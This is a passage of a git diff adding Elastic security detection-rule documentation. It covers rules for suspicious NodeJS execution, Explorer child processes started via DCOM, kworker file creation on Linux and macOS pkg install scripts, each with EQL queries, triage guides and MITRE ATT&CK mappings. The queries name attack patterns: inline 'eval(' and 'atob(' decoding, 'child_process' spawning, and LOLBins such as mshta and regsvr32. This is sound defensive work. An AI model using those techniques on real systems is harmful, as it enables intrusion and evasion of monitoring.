child-process usage. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nodejs.org/api/child_process.html +* https://nodejs.org/api/cli.html#-r---require-module +* https://nodejs.org/api/globals.html#atobdata + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Script-Based Execution +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Execution with NodeJS* + + + +*Possible investigation steps* + + +- Which Node execution path did the alert capture? + - Focus: `process.executable`, `process.command_line`, `process.parent.name`, and `process.pe.original_file_name`. + - Implication: escalate faster when the match is a PowerShell-launched preload or inline decode/spawn pattern; lower suspicion when parent and command-line evidence show a recognized version-manager, IDE, package-manager, or test-runner pattern. + +- Do the runtime identity and launcher context fit recognized Node use? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.code_signature.trusted`, `process.parent.command_line`, `user.id`, and `host.id`. + - Implication: escalate when the runtime is unsigned, renamed, mismatched to "node.exe", staged from Temp/AppData outside a recognized toolchain, or launched by PowerShell, Office, a browser, an archive utility, or a download path without matching IDE/package/build context; lower suspicion only when runtime identity and parent chain fit the same recurring Node workflow for that user or host. Identity alone does not clear suspicious arguments. + +- What do the arguments show about preload, script, or inline execution intent? + - Why: "-r" / "--require" preloads a module at startup; "child_process" enables OS subprocess creation. + - Focus: `process.command_line` and the script or preload path parsed from it. + - Implication: escalate when Node preloads an unexpected module, decodes inline content with 'atob(' or 'eval(', or references "child_process"; lower suspicion when the target is a recognized preload such as a test harness, transpiler, or source-map helper inside the same project tree. + +- If endpoint file telemetry is available, what provenance exists for the script or preload module? + - Focus: recover file events with `host.id` + `process.entity_id`, or `host.id` + `process.pid` + a tight alert window as weaker fallback; inspect `file.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`, and `file.Ext.original.path`. !{investigate{"description":"","label":"File events for the Node process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: missing file telemetry is unresolved, not benign; use parsed command-line paths and parent context as weaker evidence. + - Implication: escalate when the script or module was downloaded, extracted, renamed, or staged into AppData/Temp shortly before execution; lower suspicion when it stays in a stable repository, package cache, or product install tree consistent with the parent workflow. + +- If child-process or endpoint network telemetry is available, what did Node do next? + - Focus: recover child and network events with `host.id` + `process.entity_id`, or `host.id` + `process.pid` + the post-start window as weaker fallback; inspect child `process.name` / `process.executable`, DNS `dns.question.name`, and connection `destination.ip` / `destination.port`. + - !{investigate{"description":"","label":"Child processes spawned by Node","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Network events for the Node process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: separate DNS events from connection events before interpreting destinations; missing child or network telemetry is unresolved, not benign. + - Implication: escalate when Node quickly launches shells, LOLBins, archivers, credential tooling, or reaches externally routable destinations unrelated to the workflow; lower suspicion when child activity and destinations stay bounded to recognized local development, build, package-registry, or deployment services. + +- If local evidence stays suspicious or unresolved, do related alerts show broader scripting, download, persistence, or beaconing activity? + - Focus: same-`user.id` related alerts or process events, especially PowerShell, archive, downloader, persistence, and outbound-connection activity. + - Hint: if `user.id` is missing or ambiguous, review same-host alerts and process events for `host.id` in the last 48 hours. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: expand scope when the host or user shows staged payload delivery, repeated Node misuse, persistence, or beaconing; keep scope local when behavior is isolated and local evidence supports one recognized workflow. + +- Escalate when branch, runtime, argument, lineage, or recovered artifact/child/network evidence shows staged script, unrecognized preload, inline decode, or spawn abuse; close only when those categories tightly support one recognized workflow with no contradictions; preserve artifacts and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Developer tooling, version managers, IDEs, package managers, and build/test runners can legitimately run "node.exe" from user-space paths or use "-r" preloads. Confirm one workflow: runtime path/hash/signer, parent, command line, and referenced script or preload path all align with the same toolchain. Without inventory or build records, telemetry-only closure requires exact workflow recurrence for the same `user.id` or `host.id` cohort plus no contradictory file, child-process, or network evidence; do not close on recurrence alone. +- Treat partial matches as unresolved. An OpenJS signer, "node.exe" name, or familiar parent does not explain AppData execution, inline decode/eval, or child-process behavior by itself. Before creating an exception, validate recurrence of the same Node binary, argument pattern, parent context, and script or preload path; avoid exceptions on `process.name` or `process.code_signature.subject_name` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the exact Node workflow: runtime path/hash/signer, parent launcher, command line, script or preload path, and `user.id` / `host.id` scope. Create an exception only when the same workflow recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the process start event, command line, binary hash/signature, script or preload artifact, child process chain, and any recovered DNS or connection events before containment. Apply reversible containment tied to the finding, such as temporary destination blocking, script quarantine, or heightened monitoring on the affected `host.id` and `user.id`. Escalate to host isolation only when follow-on execution, persistence, or outbound activity confirms broader compromise and host criticality allows interruption. +- If confirmed malicious, preserve `process.entity_id` or `process.pid` with `host.id` and time, parent process context, `process.command_line`, `process.hash.sha256`, referenced script or preload paths, child-process lineage, and confirmed network indicators before terminating Node or isolating the host. If direct endpoint response is unavailable, hand off that artifact set to the team that can isolate the system or block destinations. +- Scope related hosts and users for the same runtime hash, suspicious command-line pattern, script/preload paths, child-process lineage, and network indicators before deleting scripts, modules, or staged payloads. Then remove only the malicious artifacts identified during triage and remediate the delivery path or launcher that led to Node execution. +- Post-incident hardening: restrict unrecognized "node.exe" execution from user-writable paths, retain process-start, file-provenance, and network telemetry, and document adjacent variants found during triage, such as renamed Node runtimes, packaged Electron launchers, alternate preload patterns, or `--require` abuse without PowerShell. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + +(process.name : "node.exe" or ?process.pe.original_file_name == "node.exe" or + ?process.code_signature.subject_name : ("OpenJS Foundation", "Node.js Foundation")) and + +( + (process.args : ("-r", "--require", "--require=*") and + process.parent.name : ("powershell.exe", "pwsh.exe")) or + + process.command_line : ("*eval(*", "*atob(*", "*require*child_process*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-explorer-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-explorer-child-process.asciidoc new file mode 100644 index 0000000000..69b9fb31da --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-explorer-child-process.asciidoc @@ -0,0 +1,216 @@ +[[prebuilt-rule-8-19-34-suspicious-explorer-child-process]] +=== Suspicious Explorer Child Process + +Identifies a suspicious Windows explorer child process. Explorer.exe can be abused to launch malicious scripts or executables from a trusted parent process. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Explorer Child Process* + + +Windows Explorer, a core component of the Windows OS, manages file and folder navigation. Adversaries exploit its trusted status to launch malicious scripts or executables, often using DCOM to start processes like PowerShell or cmd.exe. The detection rule identifies such anomalies by monitoring child processes of Explorer with specific characteristics, excluding known benign activities, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the suspicious child process was indeed started by explorer.exe with the specific parent arguments indicating DCOM usage, such as "-Embedding". +- Check the process command line arguments and execution context to identify any potentially malicious scripts or commands being executed by the child process. +- Investigate the parent process explorer.exe to determine if it was started by a legitimate user action or if there are signs of compromise, such as unusual user activity or recent phishing attempts. +- Correlate the event with other security logs or alerts from data sources like Microsoft Defender XDR or Sysmon to identify any related suspicious activities or patterns. +- Examine the network activity associated with the suspicious process to detect any unauthorized data exfiltration or communication with known malicious IP addresses. +- Assess the system for any additional indicators of compromise, such as unexpected changes in system files or registry keys, which might suggest a broader attack. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule when they use scripts or executables like PowerShell or cmd.exe. Users can create exceptions for known software update processes by identifying their specific command-line arguments or parent process details. +- System administrators often use scripts for maintenance tasks that might be flagged by this rule. To prevent false positives, administrators should document and exclude these routine scripts by specifying their unique process arguments or execution times. +- Some enterprise applications may use DCOM to launch processes for legitimate purposes. Users should identify these applications and exclude their specific process signatures or parent-child process relationships from the rule. +- Automated testing environments might execute scripts or commands that resemble suspicious activity. Users can mitigate false positives by excluding processes that are part of known testing frameworks or environments. +- Certain security tools or monitoring software may use similar techniques to gather system information. Users should verify and exclude these tools by confirming their process names and execution patterns. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate the suspicious child process identified in the alert, such as cscript.exe, wscript.exe, powershell.exe, rundll32.exe, cmd.exe, mshta.exe, or regsvr32.exe, to stop any ongoing malicious actions. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Review and analyze the parent process explorer.exe and its command-line arguments to understand how the malicious process was initiated and to identify any potential persistence mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement additional monitoring and alerting for similar suspicious activities involving explorer.exe to enhance detection capabilities and prevent recurrence. +- Review and update endpoint security policies to restrict the execution of potentially malicious scripts or executables from explorer.exe, especially when initiated via DCOM. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + process.name : ("cscript.exe", "wscript.exe", "powershell.exe", "rundll32.exe", "cmd.exe", "mshta.exe", "regsvr32.exe") or + ?process.pe.original_file_name in ("cscript.exe", "wscript.exe", "PowerShell.EXE", "RUNDLL32.EXE", "Cmd.Exe", "MSHTA.EXE", "REGSVR32.EXE") + ) and + /* Explorer started via DCOM */ + process.parent.name : "explorer.exe" and process.parent.args : "-Embedding" and + not process.parent.args: + ( + /* Noisy CLSID_SeparateSingleProcessExplorerHost Explorer COM Class IDs */ + "/factory,{5BD95610-9434-43C2-886C-57852CC8A120}", + "/factory,{ceff45ee-c862-41de-aee2-a022c81eda92}" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-file-creation-via-kworker.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-file-creation-via-kworker.asciidoc new file mode 100644 index 0000000000..57c804a383 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-file-creation-via-kworker.asciidoc @@ -0,0 +1,216 @@ +[[prebuilt-rule-8-19-34-suspicious-file-creation-via-kworker]] +=== Suspicious File Creation via Kworker + +This rule monitors for a file creation event originating from a kworker parent process. kworker, or kernel worker, processes are part of the kernel's workqueue mechanism. They are responsible for executing work that has been scheduled to be done in kernel space, which might include tasks like handling interrupts, background activities, and other kernel-related tasks. Attackers may attempt to evade detection by masquerading as a kernel worker process. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious File Creation via Kworker* + + +Kworker, or kernel worker, processes are part of the kernel's workqueue mechanism. They are responsible for executing work that has been scheduled to be done in kernel space, which might include tasks like handling interrupts, background activities, and other kernel-related tasks. + +Attackers may attempt to evade detection by masquerading as a kernel worker process. + +This rule monitors for suspicious file creation events through the kworker process. This is not common, and could indicate malicious behaviour. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the file that was created or modified through OSQuery. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE path = {{file.path}}\n"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE path = {{file.path}}\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator that performed these actions for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Related Rules* + + +- Suspicious Kworker UID Elevation - 7dfaaa17-425c-4fe7-bd36-83705fde7c2b +- Network Activity Detected via Kworker - 25d917c4-aa3c-4111-974c-286c0312ff95 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click Add integrations. +- In the query bar, search for Elastic Defend and select the integration to see more details about it. +- Click Add Elastic Defend. +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either Traditional Endpoints or Cloud Workloads. +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in New agent policy name. If other agent policies already exist, you can click the Existing hosts tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click Save and Continue. +- To complete the integration, select Add Elastic Agent to your hosts and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("creation", "file_create_event") and +process.name : "kworker*" and not ( + process.name : "kworker*kcryptd*" or + file.path like ( + "/var/log/*", "/var/crash/*", "/var/run/*", "/var/lib/systemd/coredump/*", "/var/spool/*", + "/var/lib/nfs/nfsdcltrack/main.sqlite-journal", "/proc/*/cwd/core.*", "/var/run/apport.lock", + "/var/spool/abrt/ccpp-*", "/var/lib/dynatrace/oneagent/*", "/var/lib/nfs*", "/run/user/*/.bubblewrap/*", + "/etc/localtime/*", "/proc/*/cwd/core.*", "/tmp/sh-thd.*", "/var/lib/apport/coredump/*", "/var/tmp/abrt/ccpp*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-file-creation-via-pkg-install-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-file-creation-via-pkg-install-script.asciidoc new file mode 100644 index 0000000000..32888b53d7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-file-creation-via-pkg-install-script.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-34-suspicious-file-creation-via-pkg-install-script]] +=== Suspicious File Creation via Pkg Install Script + +Detects when an installer package executes a pre or post install script that immediately copies a file to suspicious locations on the filesystem. This activity is not common and usually indicates a malicious package attempting to install persistence or establish a working directory for malware. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://objective-see.org/blog/blog_0x51.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious File Creation via Pkg Install Script* + + +macOS installer packages (.pkg) can include pre-install and post-install scripts that execute with elevated privileges during installation. While legitimate software uses these scripts for proper setup, threat actors abuse this capability to deploy malware, establish persistence, or stage additional payloads under the guise of legitimate software installation. This detection rule identifies when pkg install scripts copy executables or scripts to suspicious locations outside standard installation directories. + + +*Possible investigation steps* + + +- Examine the process.args to identify the specific pkg install script path and determine which package triggered the alert. +- Review the file.path to understand where files were copied and assess whether the destination is a known malware staging location or persistence directory. +- Analyze the file.Ext.header_bytes to confirm the file type (Mach-O binary indicated by cffaedfe or cafebabe, or script files like .py, .sh, .js). +- Locate the original installer package if still available and examine its contents, including the preinstall and postinstall scripts using pkgutil --expand. +- Check the package's code signature and notarization status using pkgutil --check-signature and spctl --assess to determine if it passed Apple's security review. +- Review the download source or delivery mechanism for the installer package to understand how it reached the system. +- Search for the same package hash across other systems in the environment to identify potential widespread deployment. + + +*False positive analysis* + + +- Legitimate software installers may deploy helper tools or scripts to /usr/local/bin/ or other locations. Verify the package's origin and signing status. +- Development tools and frameworks may install additional components to various directories during setup. Confirm with development teams if installations were expected. +- Enterprise software deployment may use installer scripts that deploy files to custom locations. Review with IT operations to document expected installation patterns. +- Temporary files during complex installations may appear in /tmp/ or /var/folders/ briefly. These typically don't persist after installation completes. + + +*Response and remediation* + + +- Terminate any suspicious processes that were spawned by the malicious installer script. +- Remove the files that were copied to suspicious locations, including any persistence mechanisms like LaunchAgents or LaunchDaemons. +- Quarantine the original installer package for forensic analysis and submission to Apple for notarization revocation if appropriate. +- Review system logs for all actions taken during the malicious installation to identify the full scope of changes. +- Scan the system for additional malware components or persistence mechanisms that may have been deployed. +- Report the malicious package to Apple at reportaproblem.apple.com to request notarization revocation. +- Check other systems that may have installed the same package and remediate accordingly. +- Review endpoint security policies to prevent future execution of unsigned or 